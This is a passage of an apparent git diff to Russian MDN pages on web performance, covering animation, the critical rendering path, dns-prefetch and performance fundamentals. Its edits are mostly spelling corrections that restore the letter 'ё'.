      Для анимированных медиа, таких как видео и GIF, основная проблема производительности - это размер файлов. Скачивание больших по объёму файлов не может не повлиять на производительность системы или на то, как эту систему воспринимает пользователь. 

      Анимации, основанные на коде, будь то CSS, SVG, <canvas>, webGL или другие JavaScript анимации, могут нести проблемы производительности сами в себе, даже если файлы этого кода скачиваются быстро. Такие анимации могут потреблять всё время CPU и приводить к зависаниям.

      @@ -25,12 +25,12 @@ original_slug: Web/Performance/Производительность_анимац

      Графики frame rate и waterfall из встроенных инструментов браузера дают информацию о том, как браузер выполняет работу по анимации. Используя эти инструменты, вы можете измерить fps приложения и диагностировать узкие места, в которых fps уменьшается.

      -

      С помощью CSS анимации вы указываете ключевые кадры (keyframes), каждый из которых использует определенные CSS свойства, чтобы определить внешний вид элемента в конкретный (ключевой) момент анимации. Браузер создает анимации с помощью плавных переходов от одного ключевого кадра к следующему.

      +

      С помощью CSS анимации вы указываете ключевые кадры (keyframes), каждый из которых использует определённые CSS свойства, чтобы определить внешний вид элемента в конкретный (ключевой) момент анимации. Браузер создаёт анимации с помощью плавных переходов от одного ключевого кадра к следующему.

      Если сравнивать анимацию с помощью JavaScript и CSS, вы увидите, что CSS-анимации проще создать. Более того, CSS-анимации гарантируют лучшую производительность, так как они автоматически делегируют некоторые задачи браузеру. Например, в случае CSS браузер сам решает, когда нужно отрендерить кадр, а когда пропустить кадр, если это необходимо. 


      - Однако, стоимость изменения разных CSS свойств варьируется. Общепринято, что 60 кадров в секунду - это достаточная частота, чтобы анимация выглядела мягкой и плавной. Несложный подсчет говорит, что при частоте 60 кадров в секунду, браузер имеет лишь 16.7 миллисекунд, чтобы выполнить все скрипты, пересчитать стили, скомпоновать слои и отрисовать новый кадр. Отсюда следует, что медленные скрипты и анимация дорогих CSS свойств может может привести к зависаниям, так как браузер все еще будет пытаться вычислить все 60 кадров.

      + Однако, стоимость изменения разных CSS свойств варьируется. Общепринято, что 60 кадров в секунду - это достаточная частота, чтобы анимация выглядела мягкой и плавной. Несложный подсчёт говорит, что при частоте 60 кадров в секунду, браузер имеет лишь 16.7 миллисекунд, чтобы выполнить все скрипты, пересчитать стили, скомпоновать слои и отрисовать новый кадр. Отсюда следует, что медленные скрипты и анимация дорогих CSS свойств может может привести к зависаниям, так как браузер все ещё будет пытаться вычислить все 60 кадров.

      Стоит заметить, что 60 кадров в секунду - это стандартная частота обновления экрана. Существуют экраны с гораздо большим FPS. Например, экраны игровых ноутбуков или iPad Pro 2018 имеют частоту смены кадров, равную 120 fps и выше. Для таких устройств производители браузеров ограничивают частоту 60-ю кадрами в секунду, но с помощью некоторых опций этот лимит можно убрать. И в этом случае, на формирование каждого кадра устройство будет отводить лишь 8.6 миллисекунд.

      @@ -42,7 +42,7 @@ original_slug: Web/Performance/Производительность_анимац
      1. Recalculate Style: когда любое CSS свойство для элемента изменяется, браузер должен заново вычислить результирующий набор свойств.
      2. -
      3. Layout: затем браузер использует вычисленные стили для того, чтобы понять позицию и геометрию элементов - как измененного, так и рядом лежащих. Эта операция называется "layout", но иногда её так же называют "reflow".
      4. +
      5. Layout: затем браузер использует вычисленные стили для того, чтобы понять позицию и геометрию элементов - как изменённого, так и рядом лежащих. Эта операция называется "layout", но иногда её так же называют "reflow".
      6. Paint: наконец, браузер должен перерисовать элементы на экране. Но этот этап не обязательно должен быть простым, как на изображении. Страница может быть разделена на слои, каждый из которых перерисовывается независимо, а только после этого они комбинируются в процессе, который называется композицией "Composition".
      @@ -100,7 +100,7 @@ original_slug: Web/Performance/Производительность_анимац

      Пример: margin против transform

      -

      В этом разделе мы увидим, как инструмент Waterfall может указать на разницу между анимацией. ёё margin  и transform.

      +

      В этом разделе мы увидим, как инструмент Waterfall может указать на разницу между анимацией. её margin  и transform.

      Задумка этого сценария не в том, чтобы убедить вас, что анимация через margin - это всегда плохая идея. Сценарий нужен, чтобы продемонстрировать, как инструменты могут помочь вам понять работу браузера и как вы можете применить эти знания для оптимизации.

      @@ -116,7 +116,7 @@ original_slug: Web/Performance/Производительность_анимац

      Анимация свойства margin

      -

      Оставим включенной опцию "Use margin" и начнём анимацию. В это же время откроем "Performance tool" и нажмем кнопку "записать" (make a recording). Нам понадобится лишь пара секунд записи.

      +

      Оставим включённой опцию "Use margin" и начнём анимацию. В это же время откроем "Performance tool" и нажмём кнопку "записать" (make a recording). Нам понадобится лишь пара секунд записи.

      Откройте первую запись. Точное содержимое, которое вы увидите, зависит от вашего устройства, системной нагрузки и окружения, но, в целом это должно выглядеть так:

      @@ -128,7 +128,7 @@ original_slug: Web/Performance/Производительность_анимац

      -

      Сейчас здесь показаны ужатые этапы рендеринга Waterfall. Как видите, большая часть графика заполнена зеленым цветом - это говорит нам о том, что мы тратим много ресурсов на отрисовывание.

      +

      Сейчас здесь показаны ужатые этапы рендеринга Waterfall. Как видите, большая часть графика заполнена зелёным цветом - это говорит нам о том, что мы тратим много ресурсов на отрисовывание.

      Частота кадров (Frame Rate)

      @@ -158,7 +158,7 @@ original_slug: Web/Performance/Производительность_анимац

      -

      В сравнении с версией, которая использует margin, мы видим намного меньше зеленого, но намного больше фиолетового цвета. Это говорит о том, что вместо paint мы теперь тратим ресурсы на этапы layout или style recalculation.

      +

      В сравнении с версией, которая использует margin, мы видим намного меньше зелёного, но намного больше фиолетового цвета. Это говорит о том, что вместо paint мы теперь тратим ресурсы на этапы layout или style recalculation.

      Частота кадров (Frame Rate)

      diff --git a/files/ru/web/performance/critical_rendering_path/index.html b/files/ru/web/performance/critical_rendering_path/index.html index ba9788828d..ee91e0e4c8 100644 --- a/files/ru/web/performance/critical_rendering_path/index.html +++ b/files/ru/web/performance/critical_rendering_path/index.html @@ -7,7 +7,7 @@ translation_of: Web/Performance/Critical_rendering_path ---

      Критические этапы рендеринга (Critical Rendering Path) - это последовательность шагов, которые выполняет браузер, когда преобразуется HTML, CSS и JavaScript в пиксели, которые вы видите на экране. Оптимизация этих шагов улучшает производительность рендера. Эти этапы включают в себя работу с Document Object Model (DOM), CSS Object Model (CSSOM), деревом рендера (render tree) и компоновкой объектов (layout)

      -

      Объектная модель документа DOM создается в тот момент, когда браузер парсит HTML. Этот HTML может запрашивать JavaScript, который может модифицировать DOM. HTML может запросить стили, которые участвуют в создании CSS Object Model. Движок браузера комбинирует эти две объектные модели, чтобы создать дерево рендера (render tree). Компоновка (layout) определяет размеры и позицию каждого элемента на странице. Как только компоновка определена - пиксели отрисовываются на экране.

      +

      Объектная модель документа DOM создаётся в тот момент, когда браузер парсит HTML. Этот HTML может запрашивать JavaScript, который может модифицировать DOM. HTML может запросить стили, которые участвуют в создании CSS Object Model. Движок браузера комбинирует эти две объектные модели, чтобы создать дерево рендера (render tree). Компоновка (layout) определяет размеры и позицию каждого элемента на странице. Как только компоновка определена - пиксели отрисовываются на экране.

      Оптимизация критических этапов рендеринга улучшает время до первого рендера. Понимание и оптимизация этих этапов чрезвычайно важны для того, чтобы рендерить приложение с нужной частотой кадров (60 кадров в секунду, fps) и предоставить пользователю удобный, плавный интерфейс.

      @@ -15,21 +15,21 @@ translation_of: Web/Performance/Critical_rendering_path

      Производительность Web-приложений включает в себя запросы к серверу, получение ответов, загрузку, парсинг и выполнение скриптов, рендеринг, компоновку и отрисовку пикселей. 

      -

      Загрузка веб-страницы или приложения начинается с запроса HTML. Сервер возвращает HTML заголовке (headers) и некоторые данные. Браузер начинает парсить полученный ответ HTML, преобразуя полученные байты в DOM-дерево. Браузер создает новый запрос каждый раз, когда он находит ссылки на внешние ресурсы, будь то файлы стилей, скриптов или ссылки на изображения. Некоторые запросы являются блокирующими. Это означает, что пока такие запросы выполняются - другие запросы приостанавливается. Браузер продолжает парсить HTML и создавать DOM до тех пор, пока запрос на получение HTML не подходит к концу. После завершения парсинга DOM, браузер конструирует CSS модель. Как только эти модели сформированы, браузер строит дерево рендера (render tree), в котором вычисляет стили для каждого видимого элемента страницы. После формирования дерева происходит компоновка (layout), которая определяет положение и размеры элементов этого дерева. Как только этап завершён - страница рендерится. Или "отрисовывается" (paint) на экране.

      +

      Загрузка веб-страницы или приложения начинается с запроса HTML. Сервер возвращает HTML заголовке (headers) и некоторые данные. Браузер начинает парсить полученный ответ HTML, преобразуя полученные байты в DOM-дерево. Браузер создаёт новый запрос каждый раз, когда он находит ссылки на внешние ресурсы, будь то файлы стилей, скриптов или ссылки на изображения. Некоторые запросы являются блокирующими. Это означает, что пока такие запросы выполняются - другие запросы приостанавливается. Браузер продолжает парсить HTML и создавать DOM до тех пор, пока запрос на получение HTML не подходит к концу. После завершения парсинга DOM, браузер конструирует CSS модель. Как только эти модели сформированы, браузер строит дерево рендера (render tree), в котором вычисляет стили для каждого видимого элемента страницы. После формирования дерева происходит компоновка (layout), которая определяет положение и размеры элементов этого дерева. Как только этап завершён - страница рендерится. Или "отрисовывается" (paint) на экране.

      Document Object Model

      Построение DOM инкрементально. Ответ в виде HTML превращается в токены, которые превращаются в узлы (nodes), которые формируют DOM дерево. Простейший узел начинается с startTag-токена и заканчивается токеном endTag. Узлы содержат всю необходимую информацию об HTML элементе, соответствующем этому узлу. Узлы (nodes) связаны с Render Tree с помощью иерархии токенов: если какой-то набор startTag и endTag-токенов появляется между уже существующим набором токенов, мы получаем узел (node) внутри узла (node), то есть получаем иерархию дерева DOM.

      -

      Чем больше количество узлов (node) имеет приложение, тем дольше происходит формирование DOM tree, а значит дольше происходит обработка критических этапов рендеринга. Измеряйте! Несколько лишних узлов (node) не сделают погоды, но divitis обязательно приведет к подвисаниям.

      +

      Чем больше количество узлов (node) имеет приложение, тем дольше происходит формирование DOM tree, а значит дольше происходит обработка критических этапов рендеринга. Измеряйте! Несколько лишних узлов (node) не сделают погоды, но divitis обязательно приведёт к подвисаниям.

      CSS Object Model

      -

      DOM несет в себе всё содержимое страницы. CSSOM содержит все стили страницы, то есть данные о том, как стилизовать DOM. CSSOM похож на DOM, но всё же отличается. Если формирование DOM инкрементально, CSSOM - нет. CSS блокирует рендер: браузер блокирует рендеринг страницы до тех пор, пока не получит и не обработает все CSS-правила. CSS блокирует рендеринг, потому что правила могут быть перезаписаны, а значит, необходимо дождаться построения CSSOM, чтобы убедиться в отсутствии дополнительных переопределений.

      +

      DOM несёт в себе всё содержимое страницы. CSSOM содержит все стили страницы, то есть данные о том, как стилизовать DOM. CSSOM похож на DOM, но всё же отличается. Если формирование DOM инкрементально, CSSOM - нет. CSS блокирует рендер: браузер блокирует рендеринг страницы до тех пор, пока не получит и не обработает все CSS-правила. CSS блокирует рендеринг, потому что правила могут быть перезаписаны, а значит, необходимо дождаться построения CSSOM, чтобы убедиться в отсутствии дополнительных переопределений.

      -

      У CSS имеются свои правила валидации токенов. Помните, что C в CSS означает "Cascade". CSS правила ниспадают каскадом. Иными словами, когда парсер преобразует токены в узлы (nodes), вложенные узлы наследуют стили от родительских. Инкрементальная обработка недоступна для CSS, потому что набор следующих правил может перезаписать предыдущие. Объектная модель CSS (CSSOM) строится по мере парсинга CSS, но она не может быть использована для построения дерева рендера (render tree), потому что может оказаться так, что следующий набор правил может сделать какой-либо из узлов дерева невидимым на экране. Это может привести к лишнему вызову компоновки и перерасчета стилей.

      +

      У CSS имеются свои правила валидации токенов. Помните, что C в CSS означает "Cascade". CSS правила ниспадают каскадом. Иными словами, когда парсер преобразует токены в узлы (nodes), вложенные узлы наследуют стили от родительских. Инкрементальная обработка недоступна для CSS, потому что набор следующих правил может перезаписать предыдущие. Объектная модель CSS (CSSOM) строится по мере парсинга CSS, но она не может быть использована для построения дерева рендера (render tree), потому что может оказаться так, что следующий набор правил может сделать какой-либо из узлов дерева невидимым на экране. Это может привести к лишнему вызову компоновки и перерасчёта стилей.

      -

      Говоря о производительности селекторов (selector), наименее специфичные селекторы срабатывают быстрее. Например, .foo {} сработает быстрее .bar .foo {}. В первом случае, условно, понадобится одна операция, чтобы найти элемент .foo, во втором случае, сначала будут найдены все .foo, а потом браузер пройдет вверх по дереву в поисках родительского элемента .bar. Более специфичные селекторы требуют от браузера большего количества работы, но эти проблемы, вероятно, не стоят их оптимизации.

      +

      Говоря о производительности селекторов (selector), наименее специфичные селекторы срабатывают быстрее. Например, .foo {} сработает быстрее .bar .foo {}. В первом случае, условно, понадобится одна операция, чтобы найти элемент .foo, во втором случае, сначала будут найдены все .foo, а потом браузер пройдёт вверх по дереву в поисках родительского элемента .bar. Более специфичные селекторы требуют от браузера большего количества работы, но эти проблемы, вероятно, не стоят их оптимизации.

      Если вы измерите время, требуемое на парсинг CSS, вы будете удивлены тем, как быстро работают браузеры. Более специфичные правила более затратны, потому что требуют обхода большего числа узлов в DOM дереве, но эта дороговизна обходится довольно дёшево, особенно в сравнении с другими узкими местами производительности. Сначала измеряйте. Потом оптимизируйте, если это действительно необходимо. Вероятно, специфичность селекторов не то, что действительно затормаживает ваше приложение. Когда дело доходит до оптимизации CSS, улучшение производительность селекторов ускоряет рендеринг лишь на микросекунды. Существуют другие пути оптимизации CSS, такие как унификация, разделение CSS-файлов на разные файлы на основе media-queries.

      @@ -43,17 +43,17 @@ translation_of: Web/Performance/Critical_rendering_path

      В тот момент, когда дерево рендера (render tree) построено, становится возможным этап компоновки (layout). Компоновка зависит от размеров экрана. Этот этап определяет, где и как на странице будут спозиционированы элементы и каковы связи между элементами.

      -

      Что насчет ширины элемента? Блочные элемент по определению имеют ширину в 100% от ширины их родителя. Элемент с шириной в 50% будет иметь ширину в два раза меньше родительской. Если не указано иного, элемент body имеет ширину 100%, то есть 100% ширины родителя - видимой области viewport (окна документа).

      +

      Что насчёт ширины элемента? Блочные элемент по определению имеют ширину в 100% от ширины их родителя. Элемент с шириной в 50% будет иметь ширину в два раза меньше родительской. Если не указано иного, элемент body имеет ширину 100%, то есть 100% ширины родителя - видимой области viewport (окна документа).

      Мета тэг viewport, который вы можете указать в Head страницы, определяет ширину видимой области и влияет на компоновку. Без этого тэга браузеры используют ширину "по умолчанию", которая обычно составляет 960px. В браузерах, открывающихся по умолчанию в полноэкранном режиме, например, в браузере телефона, установка тега <meta name="viewport" content="width=device-width"> установит ширину видимой области в 100% от ширины экрана устройства, вместо того, чтобы использовать ширину по умолчанию. Эта ширина (device-width) изменяется каждый раз, когда пользователь поворачивает телефон. Это приводит к запуску этапа компоновки. Равно как и при изменении размеров окна в обычном браузере.

      -

      На производительность компоновки (layout) непосредственно влияет DOM - чем больше узлов (nodes) в вашем документе, тем больше времени понадобится на перерасчет позиций и размеров всех элементов. Компоновка может стать узким местом, ведущим к зависаниям, особенно если выполняет одновременно со скроллом или другой анимацией. И хотя задержка 20мс при загрузке или переориентации экрана может быть приемлемой, это все равно может привести к подвисаниям при анимации и скролле. Каждый раз, когда дерево рендера (render tree) модифицируется, например, из-за добавления узла (node), его модификации или при изменении стилей box-модели, запускается компоновка.

      +

      На производительность компоновки (layout) непосредственно влияет DOM - чем больше узлов (nodes) в вашем документе, тем больше времени понадобится на перерасчёт позиций и размеров всех элементов. Компоновка может стать узким местом, ведущим к зависаниям, особенно если выполняет одновременно со скроллом или другой анимацией. И хотя задержка 20мс при загрузке или переориентации экрана может быть приемлемой, это все равно может привести к подвисаниям при анимации и скролле. Каждый раз, когда дерево рендера (render tree) модифицируется, например, из-за добавления узла (node), его модификации или при изменении стилей box-модели, запускается компоновка.

      Для уменьшения частоты и продолжительности этого этапа, группируйте обновления экрана и избегайте анимации свойств, связанных с box-моделью элементов.

      Отрисовка (Paint)

      -

      Последний этап в нашем списке - отрисовка (paint) пикселей на экране. Когда дерево рендера (render tree) создано, компоновка (layout) произошла, пиксели могут быть отрисованы. При первичной загрузке документа (onload) весь экран будет отрисован. После этого только необходимые к обновлению части экрана будут перерисовываться, так как браузер старается оптимизировать процесс отрисовки, избегая ненужной работы. Так, если у вас в документе есть два элемента, перерисовываться будет только тот, который вы изменили. Время отрисовки зависит от того, какой тип обновления применился к дереву рендера (render tree). И хотя отрисовка - это очень быстрый процесс, и он, вероятно, слабо влияет на производительность, очень важно помнить, что оба этапа - компоновка (layout) и отрисовка (paint) должны работать сообща и укладываться в частоту обновления кадров. Каждое CSS-свойство, применяемое к любому узлу (node) увеличивает время отрисовки, но полное удаление стиля, способное сэкономить вам 0.001мс, вряд ли даст вам желаемый результат, но зато с легкостью ухудшит пользовательский опыт. Помните - сначала нужно измерять, а потом оптимизировать только необходимое!

      +

      Последний этап в нашем списке - отрисовка (paint) пикселей на экране. Когда дерево рендера (render tree) создано, компоновка (layout) произошла, пиксели могут быть отрисованы. При первичной загрузке документа (onload) весь экран будет отрисован. После этого только необходимые к обновлению части экрана будут перерисовываться, так как браузер старается оптимизировать процесс отрисовки, избегая ненужной работы. Так, если у вас в документе есть два элемента, перерисовываться будет только тот, который вы изменили. Время отрисовки зависит от того, какой тип обновления применился к дереву рендера (render tree). И хотя отрисовка - это очень быстрый процесс, и он, вероятно, слабо влияет на производительность, очень важно помнить, что оба этапа - компоновка (layout) и отрисовка (paint) должны работать сообща и укладываться в частоту обновления кадров. Каждое CSS-свойство, применяемое к любому узлу (node) увеличивает время отрисовки, но полное удаление стиля, способное сэкономить вам 0.001мс, вряд ли даст вам желаемый результат, но зато с лёгкостью ухудшит пользовательский опыт. Помните - сначала нужно измерять, а потом оптимизировать только необходимое!

      Оптимизация CRP

      diff --git a/files/ru/web/performance/css_javascript_animation_performance/index.html b/files/ru/web/performance/css_javascript_animation_performance/index.html index b6dbb2bedf..8996f5f957 100644 --- a/files/ru/web/performance/css_javascript_animation_performance/index.html +++ b/files/ru/web/performance/css_javascript_animation_performance/index.html @@ -25,7 +25,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance

      requestAnimationFrame

      -

      API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} предоставляет эффективный способ создания анимаций в JavaScript. Функция (callback), которую вы передаете в этот метод, будет вызываться перед каждой следующей отрисовкой нового фрейма. Главное отличие от {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} в том, что здесь вам не нужно указывать время, через которое функция запустится. requestAnimationFrame() работает гораздо эффективнее, учитывая частоту кадров и производительность системы. Разработчики могут создавать  анимацию, просто изменяя стили элемента каждый раз, когда происходит подготовка нового кадра (или когда обновляется полотно Canvas или в других случаях).

      +

      API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} предоставляет эффективный способ создания анимаций в JavaScript. Функция (callback), которую вы передаёте в этот метод, будет вызываться перед каждой следующей отрисовкой нового фрейма. Главное отличие от {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} в том, что здесь вам не нужно указывать время, через которое функция запустится. requestAnimationFrame() работает гораздо эффективнее, учитывая частоту кадров и производительность системы. Разработчики могут создавать  анимацию, просто изменяя стили элемента каждый раз, когда происходит подготовка нового кадра (или когда обновляется полотно Canvas или в других случаях).

      Заметка: Подобно CSS transition и animation, requestAnimationFrame() приостанавливает работу, когда текущий таб переводится в фоновый режим (например, при смене фокуса)

      @@ -38,7 +38,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance

      По факту, в большинстве случаев, производительность анимаций CSS практически идентична анимациям на JavaScript. По крайней мере в Firefox. Авторы некоторых JavaScript библиотек для анимации, например GSAP или Velocity.JS, даже берутся утверждать, что их решения могут работать быстрее, чем аналогичные решения на CSS. Такое возможно, потому что CSS transitions/animations просто заново вычисляют стили элементов в основном потоке процессора сразу перед тем, как срабатывает событие repaint, что примерно то же самое, что вычислять стили заново с помощью requestAnimationFrame(). Если обе анимации выполняются в одном потоке, то разницы в производительности не будет.

      -

      В следующей секции мы пройдемся по тестам производительности, используя Firefox, чтобы увидеть, какие методы анимации работают эффективнее.

      +

      В следующей секции мы пройдёмся по тестам производительности, используя Firefox, чтобы увидеть, какие методы анимации работают эффективнее.

      Включение измерения частоты кадров FPS

      diff --git a/files/ru/web/performance/dns-prefetch/index.html b/files/ru/web/performance/dns-prefetch/index.html index d6575dcf2a..2db1d62980 100644 --- a/files/ru/web/performance/dns-prefetch/index.html +++ b/files/ru/web/performance/dns-prefetch/index.html @@ -13,7 +13,7 @@ translation_of: Web/Performance/dns-prefetch

      Бывают случаи, когда в вашем приложении используются ссылки на домены, отличные от основного домена приложения. Например, внутри вашего приложения на "a.com" есть ссылка на домен "b.org". Для того, чтобы пройти по этой ссылке, пользовательский клиент должен сначала выяснить, какой адрес в интернете соответствует доменному имени "b.org". Этот процесс называется DNS resolution. И хотя механизмы кеширования DNS помогают сократить время запросов, DNS Resolution заметно влияет на время ожидания запроса из-за того, что первый клиентский запрос уходит сначала на DNS сервера и дожидается ответа от них. Для приложений, которые открывают соединения ко многим сторонним доменам, влияние DNS Resolution может сильно уменьшить производительность загрузки.

      -

      dns-prefetch помогает разработчикам замаскировать ожидание DNS resolution. HTML <link> элемент предлагает подобный функционал с помощью атрибута rel, значение которого может содержать dns-prefetch. В этом случае, предзагрузка DNS произойдет для домена, указанного в атрибуте href:

      +

      dns-prefetch помогает разработчикам замаскировать ожидание DNS resolution. HTML <link> элемент предлагает подобный функционал с помощью атрибута rel, значение которого может содержать dns-prefetch. В этом случае, предзагрузка DNS произойдёт для домена, указанного в атрибуте href:

      Синтаксис

      @@ -44,7 +44,7 @@ translation_of: Web/Performance/dns-prefetch
      Link: <https://fonts.gstatic.com/>; rel=dns-prefetch
      -

      В третьих, хорошей практикой считается использование dns-prefetch в паре с  preconnect. В то время, как dns-prefetch срабатывает только при DNS поиске, preconnect устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (TLS рукопожатие), если оно доступно. Комбинирование этих двух инструкций дает возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:

      +

      В третьих, хорошей практикой считается использование dns-prefetch в паре с  preconnect. В то время, как dns-prefetch срабатывает только при DNS поиске, preconnect устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (TLS рукопожатие), если оно доступно. Комбинирование этих двух инструкций даёт возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:

      <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
       <link rel="dns-prefetch" href="https://fonts.gstatic.com/">
      diff --git a/files/ru/web/performance/fundamentals/index.html b/files/ru/web/performance/fundamentals/index.html
      index b7e7d891c0..704ebee8a2 100644
      --- a/files/ru/web/performance/fundamentals/index.html
      +++ b/files/ru/web/performance/fundamentals/index.html
      @@ -19,7 +19,7 @@ original_slug: Web/Performance/Основы
       
       

      Ощущаемая пользователем "производительность" - это единственная производительность, которая имеет значение. Пользователи взаимодействуют с системой с помощью ввода каких-то данных: прикосновений, движения и речи. В ответ, они получают реакцию, основанную на зрительном, тактильном или слуховом аппаратах. Производительность - это качество того, как система реагирует на действия пользователя.

      -

      При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощенно говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.

      +

      При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощённо говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.

      Следующие разделы укажут и объяснят некоторые метрики производительности:

      @@ -55,7 +55,7 @@ original_slug: Web/Performance/Основы

      Последний показатель, который нужно упомянуть - это потребление энергии. Подобно использованию памяти, пользователь чувствует потребление памяти опосредованно, отмечая время, через которое устройство начинает изменять воспринимаемую пользователем производительность (UPP). Для минимизации отрицательных эффектов использования энергии, мы должны делать систему экономной.

      -

      Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жесткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.

      +

      Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жёсткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.

      Всю оставшуюся часть статьи мы будем обсуждать производительность в свете этих показателей.

      @@ -72,7 +72,7 @@ original_slug: Web/Performance/Основы

      Элемент Холст (canvas) предоставляет прямой доступ к пиксельному буферу, где разработчик может рисовать.Это даёт разработчику возможность контролировать каждый пиксель во время рендеринга, точно контролировать частоту кадров; но тогда разработчик должен иметь в виду работу с большим количеством разрешений экранов и ориентаций; RTL языками и т.д. Разработчики, работающие напрямую с холстами, используют либо знакомое 2D API, либо API WebGL, достаточно "близкий к железу" и по большей части придерживающийся OpenGL ES 2.0.

      -

      Заметка: Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: HTML, CSS, JavaScript и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришел из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано  на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.

      +

      Заметка: Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: HTML, CSS, JavaScript и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришёл из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано  на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.

      См. Тестирование производительности Firefox OS для подробностей.

      @@ -81,7 +81,7 @@ original_slug: Web/Performance/Основы

      Движок Gecko JavaScript поддерживает just-in-time (JIT) компиляцию. Благодаря этому, логика приложения выполняется примерно так же, как это происходит в других приложениях на виртуальных машинах - например, Java Virtual Machines - а в некоторых случаях эффективность этих приложений близка к "нативному коду".

      -

      Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для canvas "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоев (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти для хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.

      +

      Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для canvas "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоёв (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти для хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.

      Для продвинутых приложений полностью статичный контент скорее является исключением, чем правилом. Такие приложения используют динамический контент, анимируемый с помощью {{ cssxref("animation") }} и {{ cssxref ("transition") }}. Переходы и анимации особенно важны для приложений: разработчики могут использовать CSS для объявления сложного поведения с помощью простого высокоуровнего синтаксиса. С другой стороны, движок Gecko хорошо оптимизирован для того, чтобы рендерить такую анимацию эффективно. В целом, общепринятые анимации передаются к обработке системному компоновщику, который может отрендерить их в эффективном, энергосберегающем режиме. 

      @@ -123,7 +123,7 @@ original_slug: Web/Performance/Основы

      Web-платформа очень динамична. JavaScript - это динамически типизированный язык, а Web разрешает загружать код, HTML, CSS, изображения и другие ресурсы динамически. Эти функции могут быть использованы для того, чтобы отложить загрузку ресурсов; чтобы сократить критический путь, подвинув загрузку лишнего контента на несколько моментов позже. Такой подход называется "ленивой загрузкой".

      -

      Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, еще во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придется ждать.

      +

